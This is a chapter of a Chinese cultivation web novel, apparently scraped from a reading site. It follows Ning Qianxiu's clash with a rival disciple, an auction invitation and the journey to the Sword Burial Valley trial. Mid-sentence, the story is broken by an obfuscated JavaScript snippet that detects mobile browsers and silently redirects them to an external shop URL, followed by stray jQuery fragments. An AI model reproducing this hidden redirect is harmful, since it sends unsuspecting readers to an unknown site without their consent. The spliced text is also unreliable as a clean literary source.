只一招,孰优孰劣不言自明,宁千岫身上属于元婴期的威压铺展开,如一记响亮耳光打在了方才咄咄逼人的赖明脸上。
人群中窃窃私语不断。
“短短几个月,这位宁师弟便跨了一个大境界?”
“你方才没瞧见么?他本就与咱们丹宗长老交好,如今连盟主都有交情,能一鸣惊人也不算难事。”
“这赖明如今再咬着不放,也不怕有麻烦。”
修士五感何其灵敏,这些闲言碎语自然都落入到彼此耳中,赖明咬着牙半笑不笑:“恭喜师弟突破,想来三日后的葬剑谷能与师弟同去了。”
宁千岫敷衍地朝他拱了拱手,一心想要回洞府将身上已看不出颜色的衣物换下。
赖明显然也不想再自讨没趣,一甩袖子便率先离去,宁千岫眼看着山门两侧弟子正蠢蠢欲动地朝自己靠近,果断回头看了钟善与言泉一眼。
看着两个人陡然坚毅的眼神,宁千岫嘴角一抽,下一刻,他便觉得身上一轻,整个世界横了过来,他便在众目睽睽之下被两个人扛着飞奔而去,眨眼便不见了踪影。
弟子们愣愣地眺望着他们的背影:“连离去的方式也这么独树一帜,难怪会得如此多人的青眼......”
虽说实在不够体面,但这招的确卓有成效,半个时辰后神清气爽的宁千岫坐在桌前,对着两双直盯自己的眼睛开口:“赖明到底是什么来头?不过一次宗门大比便赖上我了?”
提到这人钟善便皱起眉头,一副不高兴的模样:“说起来大抵与我也有点关系,他本家也算是青石城的,历代从商,与钟家、江家算是不对付,从前一直不温不火,只是这些年来倒是突然有了起色,便一副小人得志的模样。”
宁千岫挑了挑眉:“所以我与你走得近,他便想挑软柿子捏?”
钟善冷哼一声:“他与他那入赘的爹一样,凡事都想着走捷径,原本资质也平庸得很,靠着高价去黑市上买药硬生生上了元婴期,实则虚得很,宁师弟不必怕他。”
正谈话间,宁千岫洞府处的阵法被点亮,他抬头一看,正是那日在长生节上见过一面的江师姐。
他挥袖散开结界,便看见江师姐笑吟吟地走进来:“一早便见到宁师弟与盟主一同出现在山门处,师弟可真是深藏不露。”
宁千岫客气地给师姐倒了杯水,无视了身旁两道怨念的视线:“师姐特地来找我,想来也不只是来贺喜的。”
“叫我江念便好,”她挥了挥手,如戏法般变出了三道请柬,“说来葬剑谷离青石城不算远,正巧江家的拍卖会便在这次试炼之后,还望几位赏个光给我们家撑撑场面。”
钟善一捶手心:“的确到了时间......莫非你刚从赖明那过来?”
江念叹了口气:“钱可不分高低贵贱,虽说我不太喜欢这个人,但礼数还是要的,更何况他们家每回出手都阔绰,算得上咱们家的摇钱树,届时你还是收敛些。”
宁千岫看着手中描金的请柬,又瞧了眼自己账上那点可怜的薪水,犹豫了许久还是诚恳抬头:“江师姐,我实在囊中羞涩,届时会托二位师兄捎去贺礼,这拍卖会便不去给师姐添乱了。”
江念闻言眨了眨眼睛:“何必如此客气?这请柬给了便没有收回的道理,宁师弟来做个看客,对江家只有好处,可没有坏处。”
还未等宁千岫询问,她便摇头晃脑振振有词:“有朝一日宁师弟名扬天下,我便可以说我们江家的拍卖会可是连宁宗师都愿来的,想来又是一大笔进账。”
宁千岫不由失笑,江念这说话可着实有水平,难怪江家能在青石城混得风生水起。
他从善如流地将请帖收了起来:“那便多谢江师姐了。”
反观一旁的言泉则完全没有这样的顾虑,此刻正抱着请柬神神叨叨地念着自己真是祖坟冒青烟,叫钟善硬生生后退一步,最后忍无可忍地拿着袖子里的卷轴堵住了他的嘴。
江念被逗得直笑,最后摸了摸眼角起身欲离去,却忽然想起什么似的回身。
“方才我去赖明洞府时察觉到一丝还未消散的陌生气息,我探究得太深,赖明定会起疑,只是直觉这气息有些说不上来的异常,你们此番去葬剑谷可要小心,若有事记得随时来找我。”
宁千岫皱了皱眉,谢过江念后便看见一旁的言泉一副欲言又止的模样。
两个人面面相觑,言泉小心地看了看宁千岫的脸色,试探开口:“我再问最后一个问题......你与盟主到底是何关系?”
宁千岫十分郑重地拍了拍言泉的肩膀:“是盟主心血来潮想看戏的关系。”
劫云一散,这位不食人间烟火的仙盟盟主便出现在山洞门口,想来已是关注许久,他抽空问了问系统,只得到一个模棱两可的答案。
【宿主所渡雷劫为九重劫云,代表着天道的青睐,因而比寻常修士更为凶险,渡劫成功后灵力亦会更加凝实,上一次出现已是百年之前。】
他忽然福至心灵:“上一次出世莫不是这位仙盟盟主?”
【正是。】
宁千岫心中千回百转,最后又思及江念临走前说的话。
以他流年不利的近况来看,碰上了也只能兵来将挡水来土掩。
三日后,一艘简朴的木船沿着江流顺东而下,船上满载着云隐宗的弟子们。
外门弟子能迈出宗门的机会并不多,此刻看山看水都新奇,一旁渔船上的渔夫恰巧钓起一尾分量不少的鲫鱼,弟子们趴在船舷上瞧得目不转睛,被鱼尾甩了一脸水。
船已开远,甲板上仍有弟子挥手:“大爷今天收成不错啊!”
老人家带着斗笠笑眯眯地目送一群朝气蓬勃的少年人离去,摇头唱叹:“二十余年如一梦啊*……”
这一番热闹过去,有弟子瞧见赖明正沉着脸目光游移,不由压低了声音手肘戳了戳身旁的好友:“怎么不见宁师弟?”
好友:“听闻言师兄身体不适,宁师弟正忙着照顾呢。”
弟子看了看不远处的煞神,由衷长叹一声:“难怪宁师弟福泽深厚,和那位可真是天上地下。”
他们讨论的正主,此刻正在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898389|130199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
船舱内,将一旁的木桶踢到言泉面前,一脸沉痛地看着对方吐得昏天黑地,觉得不够和善,又柔情似水地补了一句。
“还有一盏茶时间便到,师兄忍着些。”
言泉听到这话脸都绿了,抖着手指点了点宁千岫,话还没说出口又埋进木桶之中。
几个人挤在船舱内笑得前仰后合,宁千岫推开窗户望着越来越近的陆地,却听见脑海中传来系统带着杂音的提醒。
【探测到葬剑谷出现不明原因的能量波动,在此期间系统或将出现断线情况,请宿主务必小心。】
宁千岫心中一沉。
无论这葬剑谷有何危机,他此番来都要闯一闯。
直到踏上葬剑谷,宁千岫才明白为何只有元婴修士才能进入这片土地。
说是山谷,这里更像是一道被一柄举剑生生劈出的裂缝,方圆百里寸草不生,目之所及也只能见到斜插在地上的长剑,与方才的鸟语花香形成了鲜明对比。
“长老,此地为何如此之热?”
元婴期修士不畏寒暑,此刻他们之中不少弟子甚至需要运转灵力才能勉强抵御铺面而来的热浪,便有人忍不住好奇开口询问。
此番引领弟子前往试炼的是器宗长老,是门派中出了名的不苟言笑,闻言一回头,那正毫无形象擦汗的弟子便老老实实地站直了身体。
“这便是考验之一,葬剑谷地势奇异,传闻是千年前一处用人炼器的铸剑师的老巢,被几位大能联手斩灭后,此地便余下诸多无主的神剑。此处本为天下第一所有,后作为礼物送给了盟主,这些年来门派繁荣,盟主便开放此地,既是对各位后起之秀的试炼,也是给予你们的奖励。”
说话间,远处又有几艘样式各异的船靠了岸,四五个门派的弟子从船上走出。
其中一位长者显得尤为瞩目,从服饰上看似是一排长老,却是格外耐不住热,拿着一柄扇子来回晃动,见到这边的器宗长老热情地打了个招呼:“今年有如此多的弟子入选,想来一年后的武道大会又是云隐宗夺魁了!”
葬剑谷十五年才开放一回,即便如此各大门派每回能有资格进入的也不过寥寥数人,多的是门派几十年都出不了一个够格的弟子,此番云隐宗一出手便是八个,着实鹤立鸡群,当得起这一句夸赞。
只是马屁也得挑对象,毫无人情味的器宗长老一副公事公办的模样朝对面一拱手:“不敢当。”
场面就此冷了下来,宁千岫眯了眯眼,几乎一眼便认出了那位长老身后三位弟子身上的弟子服样式。
正是在不渡海一事上不清不白的寒霜门。
寒霜门在不渡海一事上可以称得上毫不遮掩,那冰棺不会无缘无故不见踪影,他们定然收到了风声,如此还敢如无事人般与结下梁子的云隐宗嘘寒问暖,不是蠢便是另有倚仗。
他们来葬剑谷,又有什么目的?
“倒是让我好找,进了葬剑谷后,你还能躲到哪去?”
思绪被打断,宁千岫回头,撞进一双愤恨的眼眸。
真是一刻都消停不下来。